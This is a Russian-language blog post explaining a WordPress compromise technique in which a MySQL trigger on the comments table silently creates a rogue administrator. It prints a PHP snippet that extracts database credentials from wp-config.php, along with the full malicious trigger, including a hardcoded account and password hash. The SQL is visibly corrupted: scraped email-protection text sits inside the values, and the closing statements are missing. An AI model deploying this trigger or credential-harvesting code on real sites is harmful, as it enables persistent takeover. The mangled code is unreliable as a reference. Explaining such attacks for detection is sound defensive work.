ВЗЛОМ САЙТА БЕЗ ИЗМЕНЕНИЯ ФАЙЛОВ
В прошлом году наметилась тенденция использования SQL-триггеров для атак на сайты под управлением Wordpress. Обнаружение таких взломов проблематично, поскольку большинство инструментов по очистке сайтов базируется на проверке файлов или их изменении. Изменения, внесённые в базу не проверят практически не один сканер.
Справка, триггер — это хранимая процедура, которая не вызывается непосредственно, а исполняется при наступлении определенного события ( вставка, удаление, обновление строки ).
Поддержка триггеров в MySQL началась с версии 5.0.2
WordPress, как подавляющее количество современных сайтов использует базу, например MySQL. За соединение с базой отвечает файл wp-config.php. Если получить к нему доступ, то можно вносить в базу какие угодно изменения, например создание пользователя с правами администратора.
Код, приведенный ниже, является бэкдором, позволяющий выполнить практически любой запрос.
$wpConfigString = file_get_contents($wpConfigPath);
//preg_match_all("~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)',\s+'(.+)'\s*\);~", $wpConfigString, $dbhost);
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s+[\'\"](.+)[\'\"]\s*\);~m", $wpConfigString, $dbhost);
preg_match("~table_prefix\s+=\s+'(.+)';~", $wpConfigString, $prefix);
$dbname = $dbhost[2][0];
$dbuser = $dbhost[2][1];
$dbpassword = $dbhost[2][2];
$dbhostaddr = $dbhost[2][3];
$dbprefix = $prefix[1];
Компания sucuri.net недавно обнародовала следующий вредоносный код внедрямый в таблицу.
Триггер проверяет столбец comment_content в базе данных wp_comments. Не имеет значения, одобрен ли комментарий или находится в ожидании. Как только SQL-триггер активен, он вставляет вредоносного администратора пользователя wpadmin с поддельной датой регистрации 2014-06-08 и адресом электронной почты wp-security@hotmail[.]com.
Trigger: after_insert_comment
Event: INSERT
Table: wp_comments
Statement: BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `wordpress`.`wp_users`);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', Адрес электронной почты защищен от спам-ботов. Для просмотра адреса в вашем браузере должен быть включен Javascript.', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
Послесловие.
Такие виды атак очень сложно определить, используя инструменты автоматического сканирования. А «ручной» анализ базы может занять много времени.
Наметившаяся в последнее время тенденция использование Page Builder, значительно увеличивает сайта, в том числе базы. Обычно косвенным признаком взлома может служить создания еще одного администратора базы
Немного сумбурно, но если будет время и желание, перепишу.
Досвидонья!